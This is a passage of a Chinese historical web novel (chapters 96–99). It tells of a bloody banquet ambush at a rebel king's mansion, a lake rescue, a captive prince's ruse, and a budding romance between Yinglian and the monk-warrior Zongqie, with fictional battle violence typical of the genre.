华堂乐宴，又是一番宾主融洽。天使身旁依偎着折柳，红袖招摇，殷勤备至；那天使又数番向彭春劝酒，直饮了不知多少玉酿琼浆，把个身宽膀阔的彭天王喝得满面红光，连说话时舌头都捋不直。 眼见着华灯夜上，早是百姓人家眠宿之时，天王府花厅之内，各色人等却喧腾满堂、杯盘狼藉。 彭春喝得多了，尿泡里憋得涨满，便告失陪，自去方便；摘摘晃晃起身，摇摇摆摆离席，沿路顺廊走了一段，记得茅厕在角落里，却奇怪这几步路怎不挂灯笼，只是黑得紧，想又是下头惫懒，大着舌头骂了几句，慌得左右搀扶的从人一劲儿告罪。 这夜偏又无月光，唯几颗星子、一团云雾，更是幽暗。两个个从人提着纱灯搀扶，小心探照前路，不意廊那头却来了个翠袖窈窕的女子，不像是女使，却是席间歌舞的乐伎模样，蝶儿似的轻盈盈行来，娇声笑道：“二位哥哥辛苦，奴来侍奉天王宽衣。” 彭春一把揽过女娇娘，瞧她玉嫩可爱，自然把搀扶的小子搡到一边，先亲了一嘴儿，还未入茅厕，就来解衣带。 那女娘乖觉，飞快地又往二随从手里塞了两颗银铤，沉甸甸的份量，竟是二十五两的足额。 随从一掂量，心窍便明了，这哪是侍奉如厕，分明是来攀高枝的，便心照不宣地笑起来，向外了几步，离了茅厕有一丈的远近，候着那二人办事。 彭春被那女乐撩拨得心火旺盛，扯了衣袖便往内走。 天王府处处豪奢，连五谷轮回的出所也敞阔气派，隔成内外二间。外间熏着炉香，设了衣架，供了水盆茶瓯，更有一方软榻，五脏俱全。只是也未点灯，彭春顾不得，急急将人按在榻上，剥衣褪裤便要行事。 正心魄爽荡的光景，谁料想内里却闪出个影儿，攥着一把寒光雪亮的匕首，迅至彭春身后，更无一点声响，一刀便刺下！ 彭春毕竟从刀光剑影里生死拼杀过来，只觉察寒影一现，身子更比心神迅捷，猛翻身一滚，险险避过刀锋，脸颊一痛，却擦出一条血痕来，不由得大叫一声，躬身举拳便挡。 他衣衫胡乱，衣带松散，一眼望榻上，却微微见幽暗之中，美人竟也现了凶相，不知何处摸着一把钢刀，劈头便砍。 “有刺客！”彭春心胆震裂，躲过一刀，一面逃出门来，扯嗓子大喊。 这一下刺杀未着，便惊动了天王府。 刺客尾随紧追，纠缠间刺伤了彭春一臂，怎奈那彭春回过味来，恶向胆生，又反扑回来。 原本猫着要听一场春。宫的随从，见势不妙，一个来助阵，一个拔腿嚷叫向花厅，瞬时间搅得整座天王府波澜顿生。 那头花厅里，落座宾客，半数是朝廷兵将，半数是天王部下。其中二王陶慨在列，本就不满招安，此时捉得时机，想也不想，振臂一呼：“那阉人竟欲害我天王！弟兄们，咱们中计了！” 赴宴谁人也未带兵器，陶慨便抄起一把酒壶，凶狠掷向天使。对方慌神一挡，正中其臂，力势之猛，顿时现了淤青。 这一下左右纷纷壶盏乱飞，食案也掀翻了一地，更有攥着筷箸做兵刃，扎穿对方嗓子眼儿的；那凶猛的举拳便打，直打得人颅裂浆出，场上一片呼号杀声。 天使于堂上，吓得手足瘫软，战兢兢钻在案底下，藏得住头、藏不住尾，直抖抖地乱喊“护我”、“护我”。折柳乱斗间被搡在地，好容易爬起来，头鬓散乱，顾不得被谁踩了三五脚，就要往外逃；正见一只圆翘的臀筛糠似的挤在案旁，心气一涌，想到前些时日被百般地磋磨，索性逃之前，狠狠一脚揣在那天使屁股上，直踹得人“唷哟”往前一窜，却将个脑袋顶着绸布，窜到了不知谁的**。 她暂缓了一口恶气，东躲西藏，捂着脑袋往外逃，好在那些个汉子缠斗，又从外多涌来杂杂乱乱的人群相帮助阵，一时间捉她不及，竟当真漏她逃出了门槛。 外头有星无月，四面黑黝黝瞧不见轮廓，她乱糟糟没个方向奔逃，又听后头疾呼“莫走了那奸狡的女娘”，心头一瞬竟有些茫然，疑心他们喊捉的是自己，却又自问：我哪里奸狡了？怕不是说的旁人？ 哄杂乱嚷的人众之中，也不知哪里头亮了兵刃。刀剑的锋芒亮起来，血光也就呼溅起来，蓦地身前一人被捅了个对穿，心头血刷地喷了折柳一头一脸，腥甜温热。 折柳浑身一抖，如置身噩梦，慌得抄了条廊下的路，也不知往何处而去。 天王府乱做了一团，每处园子都汹涌着喊杀之声，有光的、无光的，重重人影挣起又伏倒。平日里折柳便不大认得清路，这兵荒马乱的时节，更难辨生路。 忽一只精铁抓索般的手将她一扯，折柳陡然吓得花容失色，转头一顾，竟是赵芳庭，平日里斯文的面孔如今露了凶意，带过她，发狠一刀，却劈在追来砍剁的一个贼匪身上，血溅四面，喘息指定一方，催促道：“往东走！先逃出去！” 折柳与他从前有些龃龉，这会子见了他却如同见了父母，慌不迭地点头，又捉他手臂，“你、你不走么？” “我得亲见那阉人死透了，随后便至！”赵芳庭将她一推，往刀兵人潮处去了。 折柳胆战心惊，认着他指的方向，拔足狂奔。 第97章 第97章但得女萝如卿好，我愿为…… 可愈是慌乱，夜中愈不辨路。她依稀记得自己穿了几道门、过了几条廊，避了也不知多少双手、多少把刀，满耳听着铿锵当啷刀兵声，鼻中灌满夜风里裹挟的血腥；不知怎么，却慌手束脚，到了一片湖边。 偌大的湖面粼粼散落着光点，那是举着火把闯将进来的官兵……抑或是贼兵，她辨不清，回头一望，后头却已有人紧追不放，再几步便摸着她衣袖。 折柳于是只得没了命地奔逃，向穿湖而过的曲桥之上去。 她又隐隐察觉出了一股不对劲——这样百十丈宽大的湖，天王府里是有一汪，却不是在东边，而是西园。 赵芳庭不是指她往东么？怎么反向西去了？ 眼见着后头呼啦啦一队人也踏在桥上来，她无暇再想，只向前求一条生路。 长长的曲桥，夜中仿佛一条无限伸长的龙蛇，任折柳怎样跑得筋疲力尽、脚软筋酥，总也到不了尽头。 水汽乱糟糟扑上来，寒湖一带雾罩烟锁，腾起一片迷仙之境般的朦胧。折柳狼狈逃窜，却眼睁睁瞧见对面点缕火光，纷纷沓沓正向自己而来，结结实实堵死前路。 那是谁的人马？她不晓得，只晓得一点—— 自己身在曹营心在汉，两面挑唆，两面都容不下她。无论哪一方的人，只要认出她来，她都没好果子吃。 折柳被夹在曲桥当中，湖心一点，两面四顾，又望一望桥下几尺的氤氲烟水雾，心中绝望也如烟云升腾。 她怕水， 怕被闷在水下、潮湿的、窒闷的感觉。这种灭顶的恐惧，尝过一回就够了，她不想再尝一回。 “捉住她！”离得近了，有人呼号。 捉我做什么呢？我又没做伤天害理的事，了不起踹了那阉人一脚。她茫然苦涩地想，那许多恶人不捉，为何偏偏咬着我不放？ 接着，双脚不由自主地登上白玉石栏，她在满怀惊恐与愤恨中，怀着不知从何而来的一丝生还的幻想，噗通扎入深水。 那一瞬间，于水雾交接之处，她耳边似乎生出某种幻觉，嗡嗡嘈嘈的乱响里，有一道嘶吼破空的声音，离弦的箭一般划来，又沉闷又尖利，还莫名的有些熟悉。 那约摸是在唤她的名字：“折柳——” 她睁大双眼，徒然在一径儿沉底的水流之中乱捞，眼前深沉而幽黑，什么光火也不见。 那种窒闷又沉重的感觉再次压来，折柳卑微绝望的发觉，再来一回，她还是屏不住气，那股子心慌迫得她张嘴、呼吸—— 口鼻、胸肺里瞬间炸开剧烈的痛苦，以致她耳鸣目眩，刀兵短暂猛接之声，化作一团怪异的、恶兽的高亢咆哮，她却压根不能分析其中的含意。 她只是下坠、挣扎、再下坠、再挣扎，铺天盖地的水、铺天盖地的绝望。 猛地一双手牢牢钳住了她。 折柳身处噩梦炼狱，连自己是否挣扎也不觉，却感到一种至为强烈的束缚感，那触感却比水更坚硬，是某种有形的躯体，温暖的、坚实地撕开水膜，向她每一寸肌肤渡来。 唇上贴住了一片柔软的物事。她呼吸到一缕甘甜至极的气息，彷如噩梦初醒，猛地慌乱揪攥、踢蹬。 那躯体包裹着她、捆缚着她，又不住地抚摸她的额、发，乃至肩颈。深黑幽茫的天地里，映明了一双黑而且亮的眸子，分明目光牢不可催，却奇异地含了些安抚与怜悯。 她被带着水下潜游了一段，而后不知在什么地方冒出头来。 折柳呛出了几口水，失重感密匝匝地将要过顶。她如将死之人，攀着这一根救命稻草，使出了吃奶的气力，克制不住地颤抖；耳畔那一声声“折柳”依约清晰，不知多久，眼才终能见人，呆呆地盯着所攀的这根“浮木”。 ——单铮。 他大半身淹在桥下，一手紧紧箍着她，另一手攀扯曲桥的木柱，一段一段地带她游回湖边，宽厚的肩臂每一蓄力，都涨起一阵温暖有力的脉搏跳动，教她清清楚楚地感知他的存在。 折柳傻了似的，任他携游，终于双脚浸在软泥藻荇之中时，才有了一点活气，张了张嘴，喑哑断续地哭了出来。 有别于冰凉湖水的眼泪，一滴滴温热柔软地砸在单铮手臂上。他有一丝不知所措，继而松一口气，拍着她背，笨拙地哄了起来：“好了，无事了，贼人败走了……” 话未说完，整个人僵住。 折柳扑在他身上，紧紧搂着，放声大哭。 “你、你哭什么……这不活了么？”他被缠得面红耳赤，甚至忘了四下环顾是否有人注意，迟疑着，改拍为抚，却不含一丝情。欲，也随之生出一股后怕来，“你不会水，怎么还往下跳？那样麻利，喊你都不及……” 折柳哭了许久，哭到后背起了一层热汗，才抽抽噎噎地止住，泪眼几乎看不清眼前人。她哑着嗓儿，莫名问了一句：“方才是你喊我？” “……是。”单铮带她上岸。 折柳断断续续地咳嗽，嘴唇不知是受寒或惊惧，有些青白，更为可怜的模样，一手却攥着单铮不放，半晌道：“我真的叫柳花儿……别笑。” 单铮艰难压住止不住上扬的嘴角，俊朗的面上滴滴答答往下淌着水，他随手抹了一把，又稍稍拧干衣袖裤脚。 “行，比什么‘折柳’利索多了。”他道。 “但你还得唤我折柳，雅一些。”她回过气来，拭了眼泪，学着他的样子拧了拧衣裙，回转过来，开始心恼方才一股狼狈相被他瞧去，一举一动总觉不自在，便故作平常，摆摆手，口中道，“可淹死我了……我恐是犯了水厄，总跟水过不去……” 说罢，又沉默了一会，生恐他追问，如何就这样怕水，到时教他想起她沉塘那一节来，又徒增尴尬。 她掩饰好了心绪，才细细观望向他，想问那些个贼兵怎么就退了，却忽见他颧上一道尖尖血痕，不由叫起来，怀里翻翻找找，却只捡得一方湿哒哒的帕子，勉强为他擦了擦。 单铮局促，下意识后仰，却被她拉住，蹙着眉道：“这哪个天杀的要命鬼，打杀便算了，怎么还往人脸上划？破口这样深，往后可当心留疤！” “……是你方才水下挠的。”单铮呼吸她近在咫尺的气息，道。 “……” 擦了血迹，折柳心虚地、默不吭声地随他向园外走。 奇怪的是，贼兵真如潮水，方才来势凶猛，这会子却已然退了，四面清晰可见执着火把的一支支队列，皆铠甲严明整齐，呼喝号令也不似贼兵散漫。 “这是才入城的一支兵马，只声言来助阵，却并不知将帅是何人。”单铮为她解释，“他们来便包抄了天王府，擒得贼首头目，想来是友非敌。” 与己无害就行。折柳对打打杀杀无甚兴趣，答应几声。她重一脚、软一脚地飘忽忽出了园子，来在廊下，眼见着血气冲天，却无端想起了水下时，唇上那一柔软温暖的触觉，不禁拿手摸了摸，又觑眼望望身旁单铮。 “方才……”她吊住半句，没想好怎么说。 这副抚唇沉思的模样落在单铮眼里，妩媚却通透。他提起一颗心，有些脸热，“嗯，方才情势急……” 折柳蹙着月牙儿似的眉，忽的一个喷嚏，打断了他才挤出来“无心冒犯”的后半句。 “方才的事，实在多谢将军。你若晚来片刻，我怕就没命了。”她吸了吸鼻子，笑着道谢。 单铮那后半句便再没说出口，只客气回道：“小事，不必谢。” 园外也忙乱乱一团，已有人抬着死伤者料理。有宁德军中人，仍着一身杂役的穿戴，寻见单铮，请他去花厅处置。单铮应下，教人先去，自己先换身干爽衣裳，随后就至。 他应付完了这头，再回头瞧，却不见折柳身影。半晌她才从十几步外的一丛篁竹间闪出，朝他挥挥手，示意他先走。 方才他二人肌肤相贴，水下他与她渡气活命；这会子却忽然离得远远的，要多避嫌就有多避嫌。 一个念头倏尔闯入单铮脑海，使他莫名地有些烦闷： 她不愿与自己攀扯半分瓜葛。 应怜这处也乱了套。 早先她已得了信，道今日寿宴将生异变，揣了一支宗契把与的匕首防身；待前头乱子闹来，当真要逃命时，那沉甸甸的精铁匕首却成了摆设。 她哪里敢杀人，连杀只鸡都不敢。 后宅宴上的皆是贼匪女眷，教先闯来的天使亲兵一冲，便惊叫四散。那伙强兵自谓捉了人家眷，前头便能要挟勒索，便喝令不得走脱一个。 众妇人东奔西顾，一时哭嚎震天、脚步凌乱，成了一股股四面的人潮。应怜也被卷在潮水里，迫不得已被裹着乱冲，直挤得钗横鬓乱、眼冒金星，却又不知到了哪一处院廊，绊到一条尸首，摔了个狗啃泥，连攥着的匕首也撞落在地。 夜中不辨人形，她这一叫非同小可，却把个亲兵引来，见只她一个孱弱的女娘，便生了凶恶，提刀来捉。 应怜四顾摸那匕首不着，惊怖骇然，才挣扎起身要逃，电光火石之间，却瞥见个犬儿般灵巧的黑影，在那阶下一滚，抄着个寒亮的家伙，正是自己掉落的匕首。 惊顾之下，她才辨认，那竟是个瘦棱棱、矮乎乎的孩子，一双凸大的眼却湛露利芒，轻巧无声地一跃而起，又狠又准地一刀扎在那亲兵后脖颈上。 鲜血瞬间四溅，只与应怜近在咫尺。她几乎看傻了去。 那孩子一股脑推翻跌在应怜身上的死人，衣上擦擦匕首，一手来扯她，稚嫩却老练地催促：“傻愣着作甚？快 跑啊！” 她猛地回过神来，与他一头跑，却诧异哪儿来的娃娃，这样凶狠；不消片刻便蓦地记起，今日女眷里确有一个带着娃娃来的，仿佛是……二王陶慨家的独子。 只是如今顾不得这么多，一大一小时时见了亲兵便要躲避，最后被一队迎头扫荡的亲兵逼得闪入一丛林子。 那树也不多、湖也不深，唯几株数丈的老树盘根错节，却也不能躲避几时。包绕的园墙却像个口袋，他们落入口袋里，后头亲兵堵了园门，便断了出路。 那头正欲入人来搜。情急之下，小子一推应怜，指着一株苍苍欹曲的老树，示意她上去；并猴儿似的，三两下早已先上了树，又在上头枝叶浓密处招手。 应怜急得好悬没哭出来，摸着苍皴的树皮发傻，悄声仓惶道：“我、我不会上树！” 上头隐约吸气，砸下来一句：“废物！” 跟着，竟使了个倒挂金钩，一双腿结结实实盘在一枝上，吊下手臂来拽她。 应怜怎么好意思教个半大孩子托举，见他如此，咬着牙，手攀脚蹬，使了平生未有的胆气，胡乱攀上了树，桠叉里激动得红了脸，不可置信道：“我、我上来了！” “那是因这树生得歪。”他瓮声瓮气泼凉水，一双眼仍警觉地盯着外头。 那队人似乎要入内，却呼啦一下纷乱起来，仿佛浪头击在礁石上，爆出一阵阵喊杀哀鸣。刀兵之声不绝于耳，铿铿锵锵，一会儿，便消隐下去，寂灭了。 应怜心几乎提到嗓子眼，一动不敢动地注视，便依稀瞧有火光入园，一队甲士明火执仗，从容地铺开成排，一径儿贯在园中。 那小子伸出手来，压了压应怜的脑袋，示意缩身噤声。 幽幽晦晦的中霄夜里，便是仗着火光，她也瞧不真切，唯见成排的甲士之中，缓缓走来个锦罗袍之人，只那步履便有从容舒展之态，是非止一日养成的端方贵仪，决不像喊打喊杀的粗莽之辈。 那人来在园中，顿住一时，四下望顾，却直直向她这处老树而来。 应怜紧张得大气也不敢喘，愈发猫了身子，藏在葳蕤枝叶里。那近前来的人，却无端闲闲几步，来在树下，虚虚仰首，方开尊口，是字正腔圆的官话，“经久不见，二妹妹怎却学得一身淘气，竟还上了树？” 树上的小子一瞪眼，扭头望向应怜；她却已又傻了，直愣愣盯着树下，张口结舌，一句话也说不出。 那树下人不开口则可，夜色里只有二三分眼熟，她倒认不出来；一开口，那熟悉的散漫腔调将她惊得头皮发炸，全然顾不得礼节仪态，连掩饰身份也忘了，惊叫出来：“殿、殿下！” 可不得尊称一声“殿下”，那是如假包换的天家龙子——六皇子郭显。 也即是说，方才园外大动干戈、诛灭天使亲兵的，正是郭显的一支人马。 这算什么？窝里反？狗咬狗？ “您、您、您怎……”她挤不出一句整话。 郭显面如美玉，俊雅里有一份雍容，锦袍玉带着身，踏一双金线厚底方履，通身的天家气度，哪怕暗夜之中，也如辉光明火，使人逼视不得；只那一双微狭的桃花眼，顾盼间透着几分不经意的懒散，仿佛事事随风过耳，并不上心。 “裙绦。”他微点头示意。 应怜向下一瞧，只见树下飘开一领鹅黄绦带，却不见了压群幅的金玉坠子，招招摇摇地随风晃荡，醒目得像张箭靶。 身旁的小子见了，捂着脸，愤愤道：“果真是个废物，连累了我！” 她尴尬地收起绦子，局促又为难：“恕奴失仪，权且见礼了。” 郭显失笑，全无怪罪，却自有一股子亲近，“下来吧，贼匪已然伏诛了。” 应怜探了探脚，二人多高的老树，下头黑洞洞、冷森森。她又把脚缩了回来，扯出一个堪称淑静的微笑，“那太好了，烦请殿下先回，奴随后就来。” 话说着，那小子已然不耐，蹭蹬蹬一个纵身便窜下树去，徒留她一个在上头独自萧瑟。 “二妹妹下不来树？”郭显恍然，想了想，张开臂膀，修挺风雅的模样，“来吧，我接着你。” 应怜一脸见了鬼似的神情，惊恐地只想喊救命。 第98章 第98章连理从今生，枝枝还相缠…… 郭显此人，生性一股万事过耳不过心的气度，虽不是中宫嫡出，却因自小养在中宫膝下，与太子关系亲密。一干贵胄子弟，他也颇能放下架子厮混，因此人缘不错。 只是应怜曾因传书递简一事，心内总有隔阂，凭他怎样谦雅温和，她就是亲近不起来。往日里在洛京抬头不见低头见，他逢时便唤“二妹妹”，她却规规矩矩只称殿下。 这是个怎样时节，沂州、叛军、兵荒马乱，应怜想破了头，也想不到他怎会到此。 树底下的郭显，此时张开臂膀，在应怜眼中，怎么瞧怎么像只张着嘴等肉来跳的狐狸。 她愈发困窘，四面张望，只想解了这尴尬场面。 天可怜见，千盼万盼，外头盼来了个救星般的人，即未着甲，身形也高过穿甲的亲兵一头，沉压压地摄人，却比疾风更迅，几个眺望，眸子盯住树上的应怜，分拨人众，大步倏忽而至。 “宗契！”应怜眼睛都亮了。 正是宗契。他提着一口朴刀，刀尖一路滴着鲜血，煞气未消，那些个亲兵以为来人不善，层层阻拦。他似是不耐，言语几句，索性将刀一把扔归几人，压得近前亲兵后退踉跄了几步；除了兵器，再无阻碍，一路来在树下。 应怜叫道：“宗契！你还好么？” “无碍，彭春已死。”宗契道。 到得火光之下，她才瞧清，他白日里才穿的一身新衣，如今尽染血污，也不知那是自己的还是别人的血，但瞧面容无虞，教应怜稍稍放下心来。 “我、我下不来……”她涨红了脸，紧紧攀着一根粗枝。 宗契想也没想，到她下方，张开手，“往下跳，我接着你。” 应怜犹有些不敢，但见他一双眼中宽和温柔，尽是安抚，心头一松，叫了声“那你接好”，颤巍巍放手，扑地往下一纵。 风声骤紧，她吓得一闭眼，却转瞬失重，已落在一个宽厚温暖的胸膛，冲势一个收不住，耳畔浅浅听他闷哼了一声。 应怜果然无碍，只是一激灵，忙问：“我撞着你了么？” 她睁开眼，彷如星夜旋转，风声止息后，先见了雾笼的长夜里几颗温润星点，再瞧见咫尺间他面露的笑意，五官深刻、眉眼舒朗。 他身遭的热意一齐涌来，令应怜竟一时不闻腥风浊浓，唯有他颈边温热的气息，既使人心跳，又令人心安。 一旁被冷落的郭显挑挑眉，收了手臂，眼光如凉夜的水，闲散从二人身上漫过，尤其停在宗契之上，不着痕迹地逡巡打量一圈，继而收回来，饶有兴致地对那小子讲话：“你姓甚名谁？如此年幼，就有沉稳老练之风，是个可造之材。” 一番话将那小子夸得飘飘然，挺起胸 膛大声答道：“我便是沂州二王陶慨之子——陶岳！” 他声量高亢，兼有孩童的尖利，却点醒了一旁应怜，匆匆退出宗契怀抱，望那郭显二人，一官一匪、一大一小，怕的是郭显将他掳了作质，刚要开口，却见郭显蹲下身，笑眯眯道：“原来是小郡王，你可有绳儿？” 陶岳被这一声“小郡王”哄得更飘，傻乎乎点头，“有。” 接着，在郭显殷切的目光下，他解下自己腰带，攒成一团递去，“给。” “那烦劳小郡王给我系上。”郭显背过身去，两只腕子交叠在他身前。 陶岳傻乎乎地照做，把他两只手反绑系上了，自己失了腰带，夜风一吹，衣襟翻飞，更显得小身板儿稀瘦，橡根光秃秃的庄稼杆儿。 郭显又和气道：“旁人若问起，这是谁绑的，小郡王可得认。” “怎么不认！”陶岳对他一头雾水，却硬气得很。 身侧应怜与宗契二人已目瞪口呆，郭显的亲兵倒从容淡定，身不欹歪、目不斜视，披坚执甲，拱卫周遭。 “走吧。”郭显动了动手臂，觉着紧紧捆了，便起身向应怜点头，“惊吓二妹妹了，此事谈起令人扼腕。总的说来，实是爹爹谕令我将三万精兵去攻江宁，不料想阴差阳错，我却成了彭天王的俘虏。” “俘、俘虏？” “如今我不是被俘了么？”郭显微一抬手腕，无辜且苦恼，凑近了应怜，压低声儿，“我领了这吃力不讨好的差事，拨给三万，却只实领七千兵，向谁诉苦去？少不得先来沂州一趟，想着若彭春归附，他手底下二万余众不就编入我部中了么？可没料到马失前蹄，教你们抓了。正好，我手底下颇有几个硬骨头的都尉，想还在外围死战，你们可拿我迫他们来降。” 应怜听着想着，总觉不对，忽问：“那你怎知我在此？” 郭显不答了，只略略一笑，桃花双眸美而且黠，只道：“天机不可泄露。” 应怜无法，只得随几人一道向外而去，与单铮等人汇合。 郭显所料不错，天王府东门大敞，好几拨人正在力战。一路倒伏也不知多少尸体，鲜血流了遍地，却是彭春残党一部、天使亲兵一部、来搅浑水的六皇子兵马自成一部；单铮的人隐蔽，只在观望。 只是主帅既然被俘，副将们投鼠忌器，便只得扔了刀兵，各自止歇。几路兵马夜中对峙，皆淋漓血染，喘声呼呼。 陶慨喝令所部后退，见了儿子陶岳，直瞪虎目，大喝道：“小山！你怎领着、领着……你给我回来！这不是淘气的地方！” 那些个副将也惊骇：“殿下！您怎么被绑了！” 郭显望望身边陶岳。陶岳立马心领神会，手扯绳结，坦荡承认，“是我绑的！” 陶慨差点没气死过去。 “您不是向来不愿归降吗？此人据说是什么‘殿下’，想是朝廷的鹰犬，儿绑了他，您不乐意么！”陶岳摸不清水深，振振有词。 他这么说倒也没错。陶慨被堵得哑口无言。正尴尬时，却又见一些人抬了两具遍身血污的尸首来到，摔在庭院正中，夜间难细辨脸孔，凭残破衣裳可认出，一个是坐于花厅之首的经略安抚使，一个是次座满脸横肉的彭春，如今皆成了死肉一滩。尤其是那天使，横七竖八的刀口，简直分不出哪一刀才是致命，想是惹了众怒，几被砍成一堆碎肉。 彭春死伤却精炼许多，其中臂上横布一条刀伤，令又胸口被贯穿，一柄利刃破开前胸后背，整齐且利索。 抬尸首的却是宁德军一拨人，为首戴头巾的一个，威武身躯，正是单铮。 他此时再露面，再也不是那个四司六局的供奉，却径来在陶慨身前，抱拳重相认，“敝人单铮，虽不才，却被兄弟们举为宁德军之首。此番为救我宗契兄弟而来，并非有意埋名，所多冒犯，还望二王不计前嫌！” 宗契此时便也上前相见，叙说从前二王活命之恩，一时相对，放下刀兵偏见，寥寥数语，竟顿相契。 陶慨本就有与宁德军合兵之意，如今头上去了个彭天王，又见死了朝廷犬马，再无拘束，他本是个直爽的武夫，不待单铮开口，便勒令手下清点人数，要率所部去投宁德军。 单铮自是迎纳，礼遇愈厚，当下清扫天王府，洗去血迹、抚死恤伤不在话下；郭显这头，玩闹似的教人俘了，却也没交还的道理，便单辟了一个清静院落供养着，倒也不亏待，过了数日交涉，放回几个副将都尉，回朝复禀，他却有模有样地在此住了下来。 应怜过后才晓得，经此一夜，宗契才愈合的鞭伤却又裂了大半；一事不烦二主，只得再妥帖地为他上药，一举一动都在自己看顾下，更严禁他舞枪弄棒地耍拳脚，一切等养好了伤再说。 宗契见她忧心忡忡，不由得好笑，出言安慰。应怜却不肯依，皱着脸，在内室里为他上药，又时常偷偷往对面镜里瞧上一眼，颇有悔恨，“定是我那天从树上跳下来，把你背伤撞裂了……我太沉了，恐是饮食无度之故。” 她身腰如此，竟还嫌沉，宗契失笑，转头却只瞧见她玉莹莹的耳垂，便又把头扭回去，只道：“这不关你，你轻着呢，正要长身子，可别缩了饮食。” 应怜洗净了手，轻沾了药粉，涂抹在他伤口周遭，正心揪着，闻言又不大信，随口道：“真的么？” “真的，”宗契脱口而出，“那回我抱你走了一路，不也好好的么？” 应怜登时红脸，却正撞见他扭回身来也觉失言的眸光，指尖一颤，手下失了力道，却教他一皱眉，似醒了一般，又抹过头去。 他直勾勾地盯着窗框不言语，应怜便低着头，慢慢地上药，心思里百转千回，呼吸湿热又轻缓地萦绕在他一方后背，指尖下只觉他后背绷得挺直，微抬眼一瞥，见那耳根脖颈处有几分薄红。 半晌，他忽道了一句：“那彭春是我所杀。” 应怜一惊，却见他言语平平，并无恚愤，迟疑问：“你与他……” “那夜我尾随他去，他终认出我来，便晓得生路已绝，索性认了从前的罪过。”宗契道，“确是我料想中的，他勾结了那袁淮，里应外合，先偷换一路运送的标，又暗使贼匪来劫，伤了我爹。此后借着打点官司的由头，将我家中财物一点点挪运殆尽，而后一走了之。我如今杀他，旧事便从此了了。” 旧事已了，那新事呢？ 应怜很想晓得，自己是否也在他心念的人与事中，却也问不出口，只道：“往后……你带我去代州瞧瞧吧。我长到如今，却还未登过高山呢。” 宗契不由得又回头来看她，这一次却久久地观瞧，好似头一回听她说这些话。 “那你、你不……”他微明了她意指，却不敢深想，结巴起来，“你若与那元羲一道，我……” 应怜却仿佛嗔怪他忒煞风景，蹙着眉，却有几分笑，“你不是说，元家子非良配么？我听你的。” 宗契脸全红了，不意她竟连绝笔信也瞧了，一时暗骂自己闲言碎语，一时心里又亮堂一片，满心只想着一句：她不嫁他了，她莫不是在哄我？ “我以后要成老姑娘了，你可不能丢下我。”应怜又道。 她声儿越说越轻，比蚊子哼哼还不如，却一字不落，贯入他耳中，如千钧仙乐。 宗契甚至不知自己回说了什么，或是只在傻乐，但只记得她说话时，那一双明湛湖水样的眸儿，晴日曦光，澄亮一片，没有丝毫曲折，他仿佛望进了她同样噙着笑的心底。 两心映照，虽未诉衷曲，他却忽然通透，于无数个细微的暗示里，领悟了她内心真意。 “我，”他顿了顿，那湖水漫过心涧，温柔地将他淹没，他凝望着她，一字一句，出口成誓，“我绝不走。你在哪，我在哪，我守你一辈子。” 心跳盖过了所有声响，他话音久久仿佛不曾落下 ，盘旋在室。应怜眼前定格他此身此人，他认真的脸庞，心中顿然涨满，满得快要溢出来，再也容不下旁的人，只有他。 她仍是笑，眼中却渐渐湿润，怕说话便要掉下泪来，便点头，不住地点头，出口只有一句“嗯”，却哽住再难说第二个字。 第99章 第99章欲却僧衣，携归红尘里…… 经此事后，他二人之间的相处又多了些微妙的亲密。虽一样人前避嫌、人后守礼，却总是与先前两般不同。 宗契便时常挂相，眉宇间舒展，嘴角里也带出笑。人只以为他是为并了沂州军心喜，个个也都兴高采烈，只等回江宁表军功、与亲眷团聚。 如今沂州军便归了单铮，实还由陶慨统领。陶慨又去了天王、二王尊名，只甘愿在单铮手底下领一席，给足了他面子。 人便是如此，你敬他三分，他敬你五分。他二人又都是直爽磊落的性子，没什么曲曲绕绕，一二来去，更投了脾气。 单铮瞧人，总是粗中有细，用人再不疑心；力排众议，与陶慨相见，令其仍守沂州，自己只留几个心腹在此充作联络。从此南北相接，待火候到了，一齐向洛京进逼，朝廷便更无抵挡之力。 计好是好，却也太过大胆。但凡是个有私心的，单铮一走，他便能阳奉阴违、再起事端。 陶慨万万不敢想此一事，极力推辞。单铮却有一说一，既说出了口，便毫不作伪，一发拟定了归期，强压着陶慨应了。 陶慨感念敬重，久留不住，只得道：“如今已是十一月上，原想着哥哥过了年再走。既江宁事繁，弟不敢多留，少不得大家一齐过了冬至，哥哥再动身，如何？” 他言辞恳切，单铮也爱重他人品志气，想此一番离别，今后也不知何年月才能再相见，索性应下，也好理清些沂州里外的军务。 沂州城内新气象，天王府也改换成了将军府。陶慨冷眼观之，见自单铮而下，皆是干练之人，与民秋毫无犯，短短些日，便废了从前一些严苛旧法，当真是安民抚众、怜孤恤寡，与那死人彭春截然不同，心中更是敬佩叹服，归附的心从五分涨到八分。 将军府里也忙忙乎乎，抬来不少新瓦竹木，将那夜被打坏的门窗墙垣修补整齐，一摞摞木石便随处堆放，由着手艺匠人摆布。 一日日过着，府里修一新，人也逐渐从那夜的恶斗里养回了精气神。 宗契伤已愈合，被应怜拘了些日子不得伸展筋骨，这一日终求得她稍稍松口，恰值人闲日暖，便一同前后逛上一遭。 正过前堂，忽见一处黄土垫平的空地上，三五成群围簇着些汉子，里头传出呼喝习练之声，一望便知在耍拳脚。人影遮遮，又半望得见、半望不见。 宗契便有些跃跃，瞧向应怜，目露笑意，神色微动。 应怜无法，摆摆手，“瞧几眼便是。” 二人分开人群，来到场中，只见了个耍刀的身影，行步如罡风，招式沉稳刚硬，正是陶慨。他每练到精彩处，便有人呼哨拍手叫好，其中一个尤其卖力的，便是他家小子陶岳。 宗契观望陶慨练刀，正是自个儿多日不练，心痒难耐，便背着人来磨应怜，“我已大好了。我也去试一试，你瞧瞧？” 应怜起初不肯，只是耐不住他哄，半晌方应了。 陶慨顿一顿身形暂歇，也瞧见了宗契，笑道：“向来只闻听高僧有过人的武艺，却无缘得见。今日怎样，咱们对练一趟？” 宗契正合了心意，大踏步入场中，眸如山海清光，湛湛夺人心魄，“行，比拳脚还是刀兵？” “刀兵无眼，拳脚又未免不足。”陶慨递了刀与手下人，四顾一顾，眼一亮，脚尖挑了道旁一支竹节，“便拿这做把不开刃的刀，如何？” 宗契道好，便也挑了一支长的，比在手里，耍了个棍势，“我一向用棍，这根便好。” 两人便分开场地，在一众起哄声中，拉开了架势。 他二人一个使刀法、一个使棍法，于竹节闷而清脆的击响里，进如流星飒沓、退似潮水纷迭，闪步交错，凌厉疾迅，瞧得人眼花缭乱，直是大气也不敢喘。 应怜屏住呼吸，一眼不错地追随着宗契的身影，多少回见过他练武，每一回却如初见惊心动魄，却又别有一种酣畅，不自觉心神里已蓄了激越之情。 